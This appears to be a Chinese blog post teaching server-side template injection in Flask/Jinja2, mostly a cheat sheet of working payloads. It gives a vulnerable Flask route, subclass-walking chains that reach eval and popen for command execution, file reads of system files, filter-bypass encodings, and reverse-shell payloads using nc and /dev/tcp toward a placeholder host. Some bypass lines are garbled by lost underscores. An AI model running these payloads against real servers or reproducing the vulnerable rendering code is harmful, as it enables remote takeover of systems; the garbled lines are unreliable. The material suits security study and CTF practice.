• SSTI学习


    SSTI 概念

    SSTI就是服务器端模板注入(Server-Side Template Injection)

    SSTI原理

    来看一段简单的代码

    from flask import Flask
    from flask import request, render_template_string, render_template
    
    app = Flask(__name__)
    
    
    @app.route('/login')
    def ssti():
        person = {
            'name': 'hello',
            'secret': '7d793037a0760186574b0282f2f435e7'
        }
        if request.args.get('name'):
            person['name'] = request.args.get('name')
    
        template = '<h2>Hello %s!</h2>' % person['name']
    
        return render_template_string(template, person=person)
    
    
    if __name__ == "__main__":
        app.run(debug=True)
    
    

    这里render_template_string函数在渲染模板的时候,使用了%s来替换字符串,其中Flask中使用了Jinja2作为模板渲染引擎,{{}} 作为变量包裹符,在渲染的时候,会把{{}}中的内容当作变量解析,所以1+1就会变成2.

    传入:/login?name={{2*2}}

    回显为4,其中的{{2*2}}就被解析了
    payload,python3。(注意,python2和3的情况是不一样的)

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("ls").read()') }}         //poppen的参数就是要执行的命令
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    
    print(().__class__.__bases__[0])//<class 'object'> 找到了基类object
    print(''.__class__.__mro__[1]) //这个也是object
    
    for i in enumerate(''.__class__.__mro__[1].__subclasses__()): print (i) #这里我们可以找到所有的子类,再注意,python2和python3不一样。
    

    所以,前面那个payload就显得很重要,你不用一个个去查那个系统的子类有什么东西。

    常见payload,有些地方不能复现。

    ''.__class__.__mro__[-1].__subclasses__()[40]("/etc/password").read() ->这里[40]指向file类,python2
    
    print("".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read())  
    

    注意这里,[128]是不一定的,我们需要找到的是os._wrap_close,也就是这里应该是os._wrap_close.init.globals,后面的参数为函数+命令。

    绕过

    1、过滤[]等括号

    getitem() 用来获取序号
    "".class.mro[2]
    "".class.mro.getitem(2)

    2、过滤字符

    {{().class.bases[0].subclasses()[59].init.globals.builtins'eval'}}
    2.1 base64
    {{().class.bases[0].subclasses()[59].init.globals.builtins'ZXZhbA=='.decode('base64')}} (可以看出单双引号内的都可以编码)
    2.2 rot13
    {{().class.bases[0].subclasses()[59].init.globals.builtins'riny'.decode('rot13')}}
    2.3 16进制编码
    {{().class.bases[0].subclasses()[59].init.globals.builtins'6576616C'.decode('hex')}}
    2.4 拼接字符串(base64,hex,rot13也可以进行拼接)
    过滤了(ls.import.eval.os)
    {{().class.bases[0].subclasses()[59].init.globals.builtins'e'+'val'}}

    拼接比较好用。

    更多参考:https://www.cnblogs.com/zaqzzz/p/10263396.html

    4、POC
    更多参考:https://p0sec.net/index.php/archives/120/

    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
    
    object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
    
    {{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
    
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
    下有eval,__import__等的全局函数,可以利用此来执行命令:
    
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
    #__import__
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
    
    反弹shell:
    # 写入文件
    payload 1 ::
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
    payload 2 ::
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}
    # 利用 config.from_pyfile 加载文件
    {{ config.from_pyfile('/tmp/shaobao') }}
    # 反弹shell ; 提供两种方法;对应上的两个文件
    payload1 ::
    {{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}
    payload2 ::
    {{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}
    
    

    参考:https://xz.aliyun.com/t/3679 https://www.dazhuanlan.com/2019/12/16/5df658e7d4e01/

  • 相关阅读:
    P1067 多项式输出(模拟水题)
    A. The Fair Nut and Elevator(暴力)
    A. The Fair Nut and Elevator(暴力)
    Knight Tournament (set)
    jquery怎么添加多个类名
    jquery对类的操作,添加,删除,点击添加,再点击删除
    jquery操作css样式的方法
    jquery浅复制和深复制区别
    TS 三种函数的定义方式
    ES7及ES8新特性
  • 原文地址:https://www.cnblogs.com/vstar-o/p/13719889.html
Copyright © 2020-2023  润新知